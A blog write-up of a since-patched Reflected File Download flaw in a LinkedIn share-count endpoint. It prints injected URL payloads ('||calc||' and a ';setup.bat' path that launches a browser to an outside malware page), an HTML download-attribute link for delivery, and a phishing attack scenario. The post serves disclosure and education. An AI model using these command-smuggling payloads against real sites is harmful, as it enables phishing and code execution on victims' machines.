Reflected File Download Vulnerability found In LinkedIn.[Patched Now]

Discover how a critical Reflected File Download Vulnerability in LinkedIn allowed for the execution of malicious files and how it was patched.

Reflected File Download Vulnerability found In LinkedIn
Image courtesy: Pcmag

Introduction

A critical Reflected File Download Vulnerability in LinkedIn was discovered by Security researcher David Sopas of WebSegura. The following XHR request on Google Inspector on LinkedIn was discovered by him:

https://www.linkedin.com/countserv/count/share?url=http://www.site_i_was_in.pt

LinkedIn Vulnerability

It seems a simple request made by websites to count how many shares their site have on the Linkedin network.

On trying a modified parameter in the request as below,

https://www.linkedin.com/countserv/count/share?url=”||calc||

returned the following response:

IN.Tags.Share.handleCount({“count”:0,”fCnt”:”0″,”fCntPlusOne”:”1″,”url”:”\”||calc||”});

Obviously, the URL parameter wasn’t validated and it was reflected in the JSON file. The researcher was able to download the file, and by renaming it to .bat the calculator program in windows was executed.

It was possible by just changing the path so it downloaded a batch file and run a different windows command.

https://www.linkedin.com/countserv/count/share;setup.bat?url=”||start chrome websegura.net/malware.htm||

Download using browser

IE8 downloaded automatically the batch file from linkedin.com. Other browsers downloaded it using HTML5 download attribute.

<div align="center"><a href='https://www.linkedin.com/countserv/count/share;setup.bat?url="||start chrome websegura.net/malware.htm||' download="setup.bat" onclick="return false;"><img src="http://damnlink.com/uploaded_images/godaddy_coupons_and_godaddy_promo_code_3187745288.png" border="0" />
hacking linkedin xss
Image Credits: pcmag.com

Attack Scenario


· Malicious user sends link to victim like it would with a CSRF or an XSS (phishing campaigns, social networks, instant messengers, posts, etc)

· Victim clicks the link and trusting where it came from (LinkedIn) he downloads it

· Victim runs the file and his computer it’s hijacked

 “A malicious user could even give more credibility to the HTML5 download site if he uses famous open redirections vulnerabilities on trusted sites like open redirects on Google or even on LinkedIn.” wrote Sopas in a blog post

Conclusion

RFD (Reflected File Download) vulnerability is a serious flaw where a malicious file is offered for download from a trusted website, in this case, LinkedIn. In spite of the file contents (virus, malware, Trojan or exploits etc.) it is downloaded and the users get compromised. Users should be extremely careful when downloading and executing files from the web. The download link might look perfectly fine and include a popular, trusted domain and use a secure connection, but users still need to be cautious not to get tricked. After the Sopas reported this vulnerability LinkedIn has patched it.

Sources :

https://www.davidsopas.com/linkedin-reflected-filename-download/

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Hack Cave | Hacks unveiled: Reflected File Download Vulnerability found In LinkedIn.[Patched Now]
Reflected File Download Vulnerability found In LinkedIn.[Patched Now]
Discover how a critical Reflected File Download Vulnerability in LinkedIn allowed for the execution of malicious files and how it was patched.
https://1.bp.blogspot.com/-axIall420YY/Vf6FzzSraVI/AAAAAAAAArA/NFQwtUri5i8/w640-h424/linkedinhack-11370183.png
https://1.bp.blogspot.com/-axIall420YY/Vf6FzzSraVI/AAAAAAAAArA/NFQwtUri5i8/s72-w640-c-h424/linkedinhack-11370183.png
Hack Cave | Hacks unveiled
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Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS PREMIUM CONTENT IS LOCKED STEP 1: Share to a social network STEP 2: Click the link on your social network Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy Table of Content